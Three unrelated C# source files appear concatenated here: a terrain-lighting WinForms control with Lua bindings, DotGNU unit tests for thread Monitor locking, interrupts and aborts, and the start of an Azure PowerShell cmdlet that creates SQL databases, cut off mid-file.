txtLights_PrimaryR.Text = _dx.Device.Lights[0].Diffuse.R.ToString(); txtLights_PrimaryG.Text = _dx.Device.Lights[0].Diffuse.G.ToString(); txtLights_PrimaryB.Text = _dx.Device.Lights[0].Diffuse.B.ToString(); trkLights_PrimaryR.Value = Convert.ToInt32( _dx.Device.Lights[0].Diffuse.R ); trkLights_PrimaryG.Value = Convert.ToInt32( _dx.Device.Lights[0].Diffuse.G ); trkLights_PrimaryB.Value = Convert.ToInt32( _dx.Device.Lights[0].Diffuse.B ); numLights_Angle.Value = 45; _updateData = true; } /// <summary> /// Updates the primary light color. /// </summary> /// <param name="r">The red tint of the light.</param> /// <param name="g">The green tint of the light.</param> /// <param name="b">The blue tint of the light.</param> [LuaFunctionAttribute( "SetLightingColor", "Updates the primary light color.", "The red tint of the light.", "The green tint of the light.", "The blue tint of the light." )] public void UpdatePrimaryLightColor( int r, int g, int b ) { trkLights_PrimaryR.Value = r; trkLights_PrimaryG.Value = g; trkLights_PrimaryB.Value = b; txtLights_PrimaryR.Text = r.ToString(); txtLights_PrimaryG.Text = g.ToString(); txtLights_PrimaryB.Text = b.ToString(); UpdatePrimaryLightColor(); } /// <summary> /// Updates the direction of the primary light. /// </summary> /// <param name="angle">The angle of the light.</param> [LuaFunctionAttribute( "SetLightingAngle", "Updates the direction of the primary light.", "The angle of the light." )] public void UpdatePrimaryLightAngle( int angle ) { numLights_Angle.Value = angle; UpdatePrimaryLightAngle(); } /// <summary> /// Sets the base color of the terrain to the lighting color. /// </summary> [LuaFunctionAttribute( "ColorByLighting", "Sets the base color of the terrain to the lighting color." )] public void ColorTerrainByLighting() { _terrainData.BufferObjects.ColorByHeight = false; _terrainData.TerrainPage.TerrainPatch.RefreshBuffers = true; btnLights_DefaultColor.Enabled = false; btnLights_HeightColor.Enabled = true; } /// <summary> /// Sets the base color of the terrain to coloring dependent upon vertex height. /// </summary> [LuaFunctionAttribute( "ColorByHeight", "Sets the base color of the terrain to coloring dependent upon vertex height." )] public void ColorTerrainByHeight() { _terrainData.BufferObjects.ColorByHeight = true; _terrainData.TerrainPage.TerrainPatch.RefreshBuffers = true; btnLights_DefaultColor.Enabled = true; btnLights_HeightColor.Enabled = false; } /// <summary> /// Gets the color of the lighting. /// </summary> /// <returns>The color of the lighting.</returns> [LuaFunctionAttribute( "GetLightingColor", "Gets the color of the lighting." )] public Color GetLightColor() { return Color.FromArgb( trkLights_PrimaryR.Value, trkLights_PrimaryG.Value, trkLights_PrimaryB.Value ); } /// <summary> /// Gets the angle of the lighting. /// </summary> /// <returns>The angle of the lighting.</returns> [LuaFunctionAttribute( "GetLightingAngle", "Gets the angle of the lighting." )] public float GetLightAngle() { return (float) numLights_Angle.Value; } #endregion #region Component Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.grpLights_VertexColoring = new System.Windows.Forms.GroupBox(); this.btnLights_HeightColor = new System.Windows.Forms.Button(); this.btnLights_DefaultColor = new System.Windows.Forms.Button(); this.grpLights_Primary = new System.Windows.Forms.GroupBox(); this.numLights_Angle = new System.Windows.Forms.NumericUpDown(); this.label13 = new System.Windows.Forms.Label(); this.txtLights_PrimaryB = new System.Windows.Forms.TextBox(); this.txtLights_PrimaryG = new System.Windows.Forms.TextBox(); this.txtLights_PrimaryR = new System.Windows.Forms.TextBox(); this.label12 = new System.Windows.Forms.Label(); this.label11 = new System.Windows.Forms.Label(); this.label10 = new System.Windows.Forms.Label(); this.trkLights_PrimaryB = new System.Windows.Forms.TrackBar(); this.trkLights_PrimaryG = new System.Windows.Forms.TrackBar(); this.trkLights_PrimaryR = new System.Windows.Forms.TrackBar(); this.grpLights_VertexColoring.SuspendLayout(); this.grpLights_Primary.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numLights_Angle)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.trkLights_PrimaryB)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.trkLights_PrimaryG)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.trkLights_PrimaryR)).BeginInit(); this.SuspendLayout(); // // grpLights_VertexColoring // this.grpLights_VertexColoring.Controls.Add(this.btnLights_HeightColor); this.grpLights_VertexColoring.Controls.Add(this.btnLights_DefaultColor); this.grpLights_VertexColoring.Location = new System.Drawing.Point(8, 160); this.grpLights_VertexColoring.Name = "grpLights_VertexColoring"; this.grpLights_VertexColoring.Size = new System.Drawing.Size(160, 80); this.grpLights_VertexColoring.TabIndex = 3; this.grpLights_VertexColoring.TabStop = false; this.grpLights_VertexColoring.Text = "Vertex Coloring"; // // btnLights_HeightColor // this.btnLights_HeightColor.Location = new System.Drawing.Point(8, 48); this.btnLights_HeightColor.Name = "btnLights_HeightColor"; this.btnLights_HeightColor.Size = new System.Drawing.Size(144, 23); this.btnLights_HeightColor.TabIndex = 1; this.btnLights_HeightColor.Text = "Color by Vertex Height"; this.btnLights_HeightColor.Click += new System.EventHandler(this.btnLights_HeightColor_Click); // // btnLights_DefaultColor // this.btnLights_DefaultColor.Enabled = false; this.btnLights_DefaultColor.Location = new System.Drawing.Point(8, 16); this.btnLights_DefaultColor.Name = "btnLights_DefaultColor"; this.btnLights_DefaultColor.Size = new System.Drawing.Size(144, 23); this.btnLights_DefaultColor.TabIndex = 0; this.btnLights_DefaultColor.Text = "Default Coloring"; this.btnLights_DefaultColor.Click += new System.EventHandler(this.btnLights_DefaultColor_Click); // // grpLights_Primary // this.grpLights_Primary.Controls.Add(this.numLights_Angle); this.grpLights_Primary.Controls.Add(this.label13); this.grpLights_Primary.Controls.Add(this.txtLights_PrimaryB); this.grpLights_Primary.Controls.Add(this.txtLights_PrimaryG); this.grpLights_Primary.Controls.Add(this.txtLights_PrimaryR); this.grpLights_Primary.Controls.Add(this.label12); this.grpLights_Primary.Controls.Add(this.label11); this.grpLights_Primary.Controls.Add(this.label10); this.grpLights_Primary.Controls.Add(this.trkLights_PrimaryB); this.grpLights_Primary.Controls.Add(this.trkLights_PrimaryG); this.grpLights_Primary.Controls.Add(this.trkLights_PrimaryR); this.grpLights_Primary.Location = new System.Drawing.Point(8, 8); this.grpLights_Primary.Name = "grpLights_Primary"; this.grpLights_Primary.Size = new System.Drawing.Size(160, 144); this.grpLights_Primary.TabIndex = 2; this.grpLights_Primary.TabStop = false; this.grpLights_Primary.Text = "Adjust Primary Light"; // // numLights_Angle // this.numLights_Angle.Location = new System.Drawing.Point(96, 112); this.numLights_Angle.Maximum = new System.Decimal(new int[] { 360, 0, 0, 0}); this.numLights_Angle.Minimum = new System.Decimal(new int[] { 1, 0, 0, -2147483648}); this.numLights_Angle.Name = "numLights_Angle"; this.numLights_Angle.Size = new System.Drawing.Size(56, 20); this.numLights_Angle.TabIndex = 10; this.numLights_Angle.ValueChanged += new System.EventHandler(this.numLights_Angle_ValueChanged); // // label13 // this.label13.Location = new System.Drawing.Point(8, 112); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(88, 16); this.label13.TabIndex = 9; this.label13.Text = "Direction Angle:"; // // txtLights_PrimaryB // this.txtLights_PrimaryB.Location = new System.Drawing.Point(120, 80); this.txtLights_PrimaryB.Name = "txtLights_PrimaryB"; this.txtLights_PrimaryB.Size = new System.Drawing.Size(32, 20); this.txtLights_PrimaryB.TabIndex = 8; this.txtLights_PrimaryB.Text = ""; this.txtLights_PrimaryB.TextChanged += new System.EventHandler(this.txtLights_PrimaryB_TextChanged); // // txtLights_PrimaryG // this.txtLights_PrimaryG.Location = new System.Drawing.Point(120, 48); this.txtLights_PrimaryG.Name = "txtLights_PrimaryG"; this.txtLights_PrimaryG.Size = new System.Drawing.Size(32, 20); this.txtLights_PrimaryG.TabIndex = 7; this.txtLights_PrimaryG.Text = ""; this.txtLights_PrimaryG.TextChanged += new System.EventHandler(this.txtLights_PrimaryG_TextChanged); // // txtLights_PrimaryR // this.txtLights_PrimaryR.Location = new System.Drawing.Point(120, 16); this.txtLights_PrimaryR.Name = "txtLights_PrimaryR"; this.txtLights_PrimaryR.Size = new System.Drawing.Size(32, 20); this.txtLights_PrimaryR.TabIndex = 6; this.txtLights_PrimaryR.Text = ""; this.txtLights_PrimaryR.TextChanged += new System.EventHandler(this.txtLights_PrimaryR_TextChanged); // // label12 // this.label12.Location = new System.Drawing.Point(8, 88); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(40, 16); this.label12.TabIndex = 2; this.label12.Text = "Blue:"; // // label11 // this.label11.Location = new System.Drawing.Point(8, 56); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(40, 16); this.label11.TabIndex = 1; this.label11.Text = "Green:"; // // label10 // this.label10.Location = new System.Drawing.Point(8, 24); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(40, 16); this.label10.TabIndex = 0; this.label10.Text = "Red:"; // // trkLights_PrimaryB // this.trkLights_PrimaryB.Location = new System.Drawing.Point(40, 80); this.trkLights_PrimaryB.Maximum = 255; this.trkLights_PrimaryB.Name = "trkLights_PrimaryB"; this.trkLights_PrimaryB.Size = new System.Drawing.Size(80, 45); this.trkLights_PrimaryB.TabIndex = 5; this.trkLights_PrimaryB.TickStyle = System.Windows.Forms.TickStyle.None; this.trkLights_PrimaryB.Scroll += new System.EventHandler(this.trkLights_PrimaryB_Scroll); // // trkLights_PrimaryG // this.trkLights_PrimaryG.Location = new System.Drawing.Point(40, 48); this.trkLights_PrimaryG.Maximum = 255; this.trkLights_PrimaryG.Name = "trkLights_PrimaryG"; this.trkLights_PrimaryG.Size = new System.Drawing.Size(80, 45); this.trkLights_PrimaryG.TabIndex = 4; this.trkLights_PrimaryG.TickStyle = System.Windows.Forms.TickStyle.None; this.trkLights_PrimaryG.Scroll += new System.EventHandler(this.trkLights_PrimaryG_Scroll); // // trkLights_PrimaryR // this.trkLights_PrimaryR.Location = new System.Drawing.Point(40, 16); this.trkLights_PrimaryR.Maximum = 255; this.trkLights_PrimaryR.Name = "trkLights_PrimaryR"; this.trkLights_PrimaryR.Size = new System.Drawing.Size(80, 45); this.trkLights_PrimaryR.TabIndex = 3; this.trkLights_PrimaryR.TickStyle = System.Windows.Forms.TickStyle.None; this.trkLights_PrimaryR.Scroll += new System.EventHandler(this.trkLights_PrimaryR_Scroll); // // LightManipulation // this.Controls.Add(this.grpLights_VertexColoring); this.Controls.Add(this.grpLights_Primary); this.Name = "LightManipulation"; this.Size = new System.Drawing.Size(176, 248); this.grpLights_VertexColoring.ResumeLayout(false); this.grpLights_Primary.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.numLights_Angle)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.trkLights_PrimaryB)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.trkLights_PrimaryG)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.trkLights_PrimaryR)).EndInit(); this.ResumeLayout(false); } #endregion } }
/* * TestMonitor.cs - Tests for the "Monitor" class. * * Copyright (C) 2002 Free Software Foundation. * * Authors: Thong Nguyen (tum@veridicus.com) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ using CSUnit; using System; using System.Collections; using System.Threading; public class TestMonitor : TestCase { public TestMonitor(String name) : base(name) { } protected override void Setup() { } protected override void Cleanup() { } public void TestMonitorSingleThreaded() { if (!TestThread.IsThreadingSupported) { return; } object o = new object(); Monitor.Enter(o); Monitor.Enter(o); Monitor.Exit(o); Monitor.Exit(o); } public void TestMonitorExitNoEnter() { if (!TestThread.IsThreadingSupported) { return; } object o = new object(); try { Monitor.Exit(o); Assert("Expected SynchronizationLockException", false); } catch (SynchronizationLockException) { } } public void TestMonitorEnterExitMismatch() { if (!TestThread.IsThreadingSupported) { return; } object o = new object(); try { Monitor.Enter(o); Monitor.Exit(o); Monitor.Exit(o); Assert("Expected SynchronizationLockException", false); } catch (SynchronizationLockException) { } } public void TestMonitorEnterExitMultiple() { if (!TestThread.IsThreadingSupported) { return; } object o1 = new object(); object o2 = new object(); Monitor.Enter(o1); Monitor.Enter(o2); Monitor.Exit(o1); Monitor.Exit(o2); } bool flag; volatile bool xseen = false; object monitor = new object(); private void ExclusionRun1() { lock (monitor) { xseen = true; Thread.Sleep(800); flag = true; } } private void ExclusionRun2() { /* Wait for thread1 to obtain lock */ while (!xseen) { Thread.Sleep(10); } lock (monitor) { /* Fails if lock didn't wait for thread1 */ failed = !flag; } } public void TestMonitorExclusion() { if (!TestThread.IsThreadingSupported) { return; } Thread thread1, thread2; flag = false; failed = true; xseen = false; thread1 = new Thread(new ThreadStart(ExclusionRun1)); thread2 = new Thread(new ThreadStart(ExclusionRun2)); thread1.Start(); thread2.Start(); thread1.Join(); thread2.Join(); Assert("Exclusion failed", !failed); } /* * Variables used for monitor thrashing.. */ private int state = 0; private bool failed = false; private bool stop = false; private void Run1() { while (!stop) { lock (typeof(TestMonitor)) { bool ok = false; // state can be either 0 or 1 but it can't // be 1 on the first check and then 0 on // the second check. if (state == 0) { // OK! ok = true; } else { // Allow other threads to preempt. Thread.Sleep(5); if (state == 1) { ok = true; } } if (!ok) { failed = true; stop = true; break; } } } } private void Run2() { while (!stop) { lock (typeof(TestMonitor)) { if (state == 1) { state = 0; } else { state = 1; } } // Allow other threads to preempt Thread.Sleep(15); } } public void TestMonitorMultiThreadedThrash() { Thread thread1, thread2; if (!TestThread.IsThreadingSupported) { return; } thread1 = new Thread(new ThreadStart(Run1)); thread2 = new Thread(new ThreadStart(Run2)); state = 0; failed = false; stop = false; Console.Write("Thrashing will take 1 second ... "); thread1.Start(); thread2.Start(); Thread.Sleep(1000); stop = true; thread1.Join(); thread2.Join(); AssertEquals("Monitor locking", failed, false); } public void TestMonitorExtremeMultiThreadedThrash() { Thread[] threads; if (!TestThread.IsThreadingSupported) { return; } state = 0; failed = false; stop = false; threads = new Thread[10]; Console.Write("Thrashing will take 1 second ... "); for (int i = 0; i < 10; i++) { if (i % 2 == 0) { threads[i] = new Thread(new ThreadStart(Run1)); } else { threads[i] = new Thread(new ThreadStart(Run2)); } threads[i].Start(); } Thread.Sleep(1000); stop = true; for (int i = 0; i < 10; i++) { threads[i].Join(); } AssertEquals("Monitor locking", failed, false); } public void TestMonitorWaitWithoutLock() { if (!TestThread.IsThreadingSupported) { return; } object o = new object(); try { Monitor.Wait(o); } catch (SynchronizationLockException) { return; } Fail("Monitor.Wait() without a lock should throw a synchronization lock exception"); } public void TestMonitorWaitWithLockTimeout() { if (!TestThread.IsThreadingSupported) { return; } object o = new object(); try { lock (o) { Monitor.Wait(o, 100); } } catch (SynchronizationLockException) { Fail("Monitor.Wait() without a lock should throw a synchronization lock exception"); return; } } private class TestEnterFalseLeave { bool e = false; public object o = new object(); public void Run() { try { Monitor.Exit(o); } catch (SynchronizationLockException) { e = true; } } public bool Test() { Thread thread = new Thread(new ThreadStart(Run)); Monitor.Enter(o); thread.Start(); thread.Join(); return e; } } public void TestMonitorEnterFalseLeave() { if (!TestThread.IsThreadingSupported) { return; } Assert("Monitor.Exit should throw an exception if the thread doesn't own the lock", new TestEnterFalseLeave().Test()); } public class TestWaitThenPulse { private volatile bool seen = false; private object o = new object(); private ArrayList results = new ArrayList(); private void AddResult(int value) { lock (this) { results.Add(value); } } public void Run1() { AddResult(1); lock (o) { seen = true; AddResult(2); Monitor.Wait(o); AddResult(6); } } public void Run2() { Console.Write("Waiting to pulse ... "); while (!seen) { Thread.Sleep(10); } AddResult(3); lock (o) { AddResult(4); Monitor.Pulse(o); AddResult(5); } } public bool Test() { bool success = true; Thread thread = new Thread(new ThreadStart(Run2)); thread.Start(); Run1(); if (results.Count == 6) { for (int i = 0; i < results.Count; i++) { if ((int)results[i] != i + 1) { success = false; } } } else { success = false; } return success; } } public void TestMonitorWaitThenPulse() { if (!TestThread.IsThreadingSupported) { return; } Assert("Monitor.Wait doesn't work", new TestWaitThenPulse().Test()); } /* * Test that a Monitor re-aquires the lock if interrupted during a * Wait(). */ public void TestMonitorInterruptDuringWait() { if (!TestThread.IsThreadingSupported) { return; } MonitorInterruptDuringWait test = new MonitorInterruptDuringWait(); String result = test.testMonitorInterruptDuringWait(); if (result != null) Assert(result, result == null); } public class MonitorInterruptDuringWait { Object o = new Object(); bool seen; String result = "Oops - something went wrong!"; public String testMonitorInterruptDuringWait() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); this.seen = false; Monitor.Wait(this); } lock (this.o) { thread.Interrupt(); Thread.Sleep(800); this.seen = true; } thread.Join(); return this.result; } void threadFunc() { Monitor.Enter(this.o); lock (this) { Monitor.Pulse(this); } try { Monitor.Wait(this.o); this.result = "Expected System.Threading.ThreadInterruptedException"; return; } catch (ThreadInterruptedException) { } if (!this.seen) { this.result = "Wait did not re-aquire lock after interrupt"; return; } try { Monitor.Exit(this.o); } catch (System.Exception e) { this.result = "Got unexpected exception during Exit: " + e; return; } this.result = null; } } /* * Test that Interrupt of Sleep() works. Note: The MS doco on Sleep * does NOT say that it will throw a ThreadInterruptedException. However * the example code for Thread.Interrupt demonstrates it can. */ public void TestMonitorInterruptDuringSleep() { if (!TestThread.IsThreadingSupported) { return; } MonitorInterruptDuringSleep test = new MonitorInterruptDuringSleep(); String result = test.testMonitorInterruptDuringSleep(); if (result != null) Assert(result, result == null); } public class MonitorInterruptDuringSleep { String result = "Oops - something went wrong!"; public String testMonitorInterruptDuringSleep() { Thread thread; thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); while ((thread.ThreadState & ThreadState.WaitSleepJoin) == 0) continue; thread.Interrupt(); thread.Join(); return this.result; } void threadFunc() { try { Thread.Sleep(1000 * 1000); this.result = "Expected System.Threading.ThreadInterruptedException"; return; } catch (ThreadInterruptedException) { } this.result = null; } } /* * Test that an Interrupt outside of a lock hits the next attempt to lock. */ public void TestMonitorInterruptEnter() { if (!TestThread.IsThreadingSupported) { return; } MonitorInterruptEnter test = new MonitorInterruptEnter(); String result = test.testMonitorInterruptEnter(); if (result != null) Assert(result, result == null); } public class MonitorInterruptEnter { Object o = new Object(); bool seen = false; String result = "Oops - something went wrong!"; public String testMonitorInterruptEnter() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); Monitor.Wait(this); } thread.Interrupt(); lock (this.o) { this.seen = true; Thread.MemoryBarrier(); thread.Join(); } return this.result; } void threadFunc() { try { Monitor.Enter(this.o); } catch (System.Exception e) { this.result = "Got unexpected exception during Enter: " + e; return; } lock (this) { Monitor.Pulse(this); } try { Monitor.Exit(this.o); } catch (System.Exception e) { this.result = "Got unexpected exception during Exit: " + e; return; } while (!this.seen) { Thread.MemoryBarrier(); } try { Monitor.Enter(this.o); this.result = "Expected System.Threading.ThreadInterruptedException"; return; } catch (ThreadInterruptedException) { } this.result = null; } } /* * Test that an Abort breaks a Monitor.Enter wait. */ public void TestMonitorAbortEnter() { if (!TestThread.IsThreadingSupported) return; MonitorAbortEnter test = new MonitorAbortEnter(); String result = test.testMonitorAbortEnter(); if (result != null) Assert(result, result == null); } public class MonitorAbortEnter { Object o = new Object(); bool seen = false; String result = "Oops - something went wrong!"; public String testMonitorAbortEnter() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); Monitor.Wait(this); } lock (this.o) { this.seen = true; Thread.MemoryBarrier(); Thread.Sleep(800); thread.Abort(); thread.Join(); } return this.result; } void threadFunc() { try { Monitor.Enter(this.o); } catch (System.Exception e) { this.result = "Got unexpected exception during Enter: " + e; return; } try { lock (this) { try { Monitor.Pulse(this); } catch (System.Exception e) { this.result = "Pulse throw exception: " + e; return; } } } catch (System.Exception e) { this.result = "lock throw exception: " + e; return; } try { Monitor.Exit(this.o); } catch (System.Exception e) { this.result = "Got unexpected exception during Exit: " + e; return; } while (!this.seen) { Thread.MemoryBarrier(); } try { this.result = "Monitor.Enter threw an exception we couldn't catch!"; Monitor.Enter(this.o); this.result = "Expected System.Threading.ThreadAbortException"; return; } catch (ThreadAbortException) { this.result = "Oops - something went wrong after catching ThreadAbortException"; if (!this.seen) { this.result = "Wait did not re-aquire lock after abort"; return; } try { System.Threading.Monitor.Exit(this.o); this.result = "Incorrectly gained monitor on abort while entering"; return; } catch (SynchronizationLockException) { this.result = null; } } catch (System.Exception e) { this.result = "Monitor.Enter threw wrong exception: " + e; return; } this.result = "Abort was not automatically re-thrown in catch"; } } /* * Test that an Interrupt outside of a Sleep hits the next * attempt to Sleep. */ public void TestMonitorInterruptSleep() { if (!TestThread.IsThreadingSupported) { return; } MonitorInterruptSleep test = new MonitorInterruptSleep(); String result = test.testMonitorInterruptSleep(); if (result != null) Assert(result, result == null); } public class MonitorInterruptSleep { Object o = new Object(); bool seen = false; String result = "Oops - something went wrong!"; public String testMonitorInterruptSleep() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); Monitor.Wait(this); } thread.Interrupt(); this.seen = true; Thread.MemoryBarrier(); thread.Join(); return this.result; } void threadFunc() { lock (this) { Monitor.Pulse(this); } while (!this.seen) { Thread.MemoryBarrier(); } try { Thread.Sleep(1000 * 1000); this.result = "Expected System.Threading.ThreadInterruptedException"; return; } catch (ThreadInterruptedException) { } this.result = null; } } /* * Test that a Monitor re-aquires the lock if aborted during a * Wait(). */ public void TestMonitorAbortDuringWait() { if (!TestThread.IsThreadingSupported) { return; } MonitorAbortDuringWait test = new MonitorAbortDuringWait(); String result = test.testMonitorAbortDuringWait(); if (result != null) Assert(result, result == null); } public class MonitorAbortDuringWait { Object o = new Object(); bool seen; String result = "Oops - something went wrong!"; public String testMonitorAbortDuringWait() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); this.seen = false; Monitor.Wait(this); } lock (this.o) { thread.Abort(); Thread.Sleep(800); this.seen = true; } thread.Join(); return result; } void threadFunc() { Monitor.Enter(this.o); try { lock (this) { try { Monitor.Pulse(this); } catch (System.Exception e) { this.result = "Pulse threw exception: " + e; return; } } } catch (System.Exception e) { this.result = "lock threw exception: " + e; return; } try { this.result = "Monitor.Wait threw an exception we couldn't catch!"; Monitor.Wait(this.o); this.result = "Expected System.Threading.ThreadAbortException"; return; } catch (ThreadAbortException) { this.result = "Oops - something went wrong after catching ThreadAbortException"; if (!this.seen) { this.result = "Wait did not re-aquire lock after abort"; return; } try { System.Threading.Monitor.Exit(this.o); this.result = null; } catch (System.Exception e) { this.result = "Got unexpected exception during Exit: " + e; return; } } catch (System.Exception e) { this.result = "Monitor.Wait threw wrong exception: " + e; return; } this.result = "Abort was not automatically re-thrown in catch"; } } /* * Test that a thread can not be interrupted re-aquiring the monitor * after a Wait(). */ public void TestMonitorInterruptAfterWait() { if (!TestThread.IsThreadingSupported) return; MonitorInterruptAfterWait test = new MonitorInterruptAfterWait(); String result = test.testMonitorInterruptAfterWait(); if (result != null) Assert(result, result == null); } public class MonitorInterruptAfterWait { Object o = new Object(); bool seen; String result = "Oops - something went wrong!"; public String testMonitorInterruptAfterWait() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); this.seen = false; Monitor.Wait(this); } lock (this.o) { Monitor.Pulse(o); Thread.Sleep(800); thread.Interrupt(); Thread.Sleep(800); this.seen = true; } thread.Join(); return this.result; } void threadFunc() { Monitor.Enter(this.o); lock (this) { Monitor.Pulse(this); } try { Monitor.Wait(this.o); this.result = "Expected System.Threading.ThreadInterruptedException"; return; } catch (ThreadInterruptedException) { } if (!this.seen) { this.result = "Wait did not re-aquire lock after interrupt"; return; } try { Monitor.Exit(this.o); } catch (System.Exception e) { this.result = "Got unexpected exception during Exit: " + e; return; } this.result = null; } } /* * Test that a thread can not be aborted re-aquiring the monitor * after a Wait(). */ public void TestMonitorAbortAfterWait() { if (!TestThread.IsThreadingSupported) return; MonitorAbortAfterWait test = new MonitorAbortAfterWait(); String result = test.testMonitorAbortAfterWait(); if (result != null) Assert(result, result == null); } public class MonitorAbortAfterWait { Object o = new Object(); bool seen; String result = "Oops - something went wrong!"; public String testMonitorAbortAfterWait() { Thread thread; lock (this) { thread = new Thread(new ThreadStart(threadFunc)); thread.Start(); this.seen = false; Monitor.Wait(this); } lock (this.o) { Monitor.Pulse(o); Thread.Sleep(800); thread.Abort(); Thread.Sleep(800); this.seen = true; } thread.Join(); return this.result; } void threadFunc() { Monitor.Enter(this.o); try { lock (this) { try { Monitor.Pulse(this); } catch (System.Exception e) { this.result = "Pulse threw an exception: " + e; return; } } } catch (System.Exception e) { this.result = "lock threw an exception: " + e; return; } try { this.result = "Monitor.Wait threw an exception we couldn't catch!"; Monitor.Wait(this.o); this.result = "Expected System.Threading.ThreadAbortException"; return; } catch (ThreadAbortException) { this.result = "Oops - something went wrong after catching ThreadAbortException"; if (!this.seen) { this.result = "Wait did not re-aquire lock after abort"; Thread.Sleep(800); return; } try { System.Threading.Monitor.Exit(this.o); this.result = "finally not executed"; } catch (System.Exception e) { this.result = "Got unexpected exception during Exit: " + e; return; } finally { if (this.result == "finally not executed") { this.result = null; } } } catch (System.Exception e) { this.result = "Monitor.Wait threw wrong exception: " + e; return; } this.result = "Abort was not automatically re-thrown in catch"; } } }
// ---------------------------------------------------------------------------------- // // Copyright Microsoft Corporation // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ---------------------------------------------------------------------------------- using System; using System.Management.Automation; using Microsoft.WindowsAzure.Commands.Common; using Microsoft.Azure.Commands.Common.Authentication.Models; using Microsoft.WindowsAzure.Commands.SqlDatabase.Properties; using Microsoft.WindowsAzure.Commands.SqlDatabase.Services.Common; using Microsoft.WindowsAzure.Commands.SqlDatabase.Services.Server; using Microsoft.WindowsAzure.Commands.Utilities.Common; using Microsoft.Azure.Commands.Common.Authentication; namespace Microsoft.WindowsAzure.Commands.SqlDatabase.Database.Cmdlet { /// <summary> /// Creates a new Microsoft Azure SQL Databases in the given server context. /// </summary> [Cmdlet(VerbsCommon.New, "AzureSqlDatabase", SupportsShouldProcess = true, ConfirmImpact = ConfirmImpact.Low)] public class NewAzureSqlDatabase : AzureSMCmdlet { #region Parameter Sets /// <summary> /// The name of the parameter set for connection with a connection context /// </summary> internal const string ByConnectionContext = "ByConnectionContext"; /// <summary> /// The name of the parameter set for connecting with an azure subscription /// </summary> internal const string ByServerName = "ByServerName"; #endregion #region Parameters /// <summary> /// Gets or sets the server connection context. /// </summary> [Alias("Context")] [Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true, ParameterSetName = ByConnectionContext, HelpMessage = "The connection context to the specified server.")] [ValidateNotNull] public IServerDataServiceContext ConnectionContext { get; set; } /// <summary> /// Gets or sets the name of the server to connect to /// </summary> [Parameter(Mandatory = true, Position = 0, ValueFromPipelineByPropertyName = true, ParameterSetName = ByServerName, HelpMessage = "The name of the server to connect to using the current subscription")] [ValidateNotNullOrEmpty] public string ServerName { get; set; } /// <summary> /// Gets or sets the database name. /// </summary> [Parameter(Mandatory = true, Position = 1, HelpMessage = "The name of the new database.")] [ValidateNotNullOrEmpty] public string DatabaseName { get; set; } /// <summary> /// Gets or sets the collation for the newly created database. /// </summary> [Parameter(Mandatory = false, HelpMessage = "Collation for the newly created database.")] [ValidateNotNullOrEmpty] public string Collation { get; set; } /// <summary> /// Gets or sets the edition for the newly created database. /// </summary> [Parameter(Mandatory = false, HelpMessage = "The edition for the database.")] public DatabaseEdition Edition { get; set; } /// <summary> /// Gets or sets the new ServiceObjective for this database. /// </summary> [Parameter(Mandatory = false, HelpMessage = "The new ServiceObjective for the database.")] [ValidateNotNull] public ServiceObjective ServiceObjective { get; set; } /// <summary> /// Gets or sets the maximum size of the newly created database in GB. Not to be used /// in conjunction with MaxSizeBytes. /// </summary> [Parameter(Mandatory = false, HelpMessage = "The maximum size for the database in GB. Not to " + "be used together with MaxSizeBytes")] public int MaxSizeGB { get; set; } /// <summary> /// Gets or sets the maximum size of the newly created database in Bytes. Not to be used /// in conjunction with MaxSizeGB /// </summary> [Parameter(Mandatory = false, HelpMessage = "The maximum size for the database in Bytes. Not to " + "be used together with MaxSizeGB")] public long MaxSizeBytes { get; set; } /// <summary> /// Gets or sets the switch to not confirm on the creation of the database. /// </summary> [Parameter(HelpMessage = "Do not confirm on the creation of the database")] public SwitchParameter Force { get; set; } #endregion /// <summary> /// Process the command. /// </summary> public override void ExecuteCmdlet() { // Do nothing if force is not specified and user cancelled the operation if (!this.Force.IsPresent && !this.ShouldProcess( Resources.NewAzureSqlDatabaseDescription, Resources.NewAzureSqlDatabaseWarning, Resources.ShouldProcessCaption)) { return; } // Determine the max size for the Database or null int? maxSizeGb = null; if (this.MyInvocation.BoundParameters.ContainsKey("MaxSizeGB")) { maxSizeGb = this.MaxSizeGB; } long? maxSizeBytes = null; if (this.MyInvocation.BoundParameters.ContainsKey("MaxSizeBytes")) { maxSizeBytes = this.MaxSizeBytes; } switch (this.ParameterSetName) { case ByConnectionContext: this.ProcessWithConnectionContext(maxSizeGb, maxSizeBytes); break; case ByServerName: this.ProcessWithServerName(maxSizeGb, maxSizeBytes); break; } } /// <summary> /// Process the request using 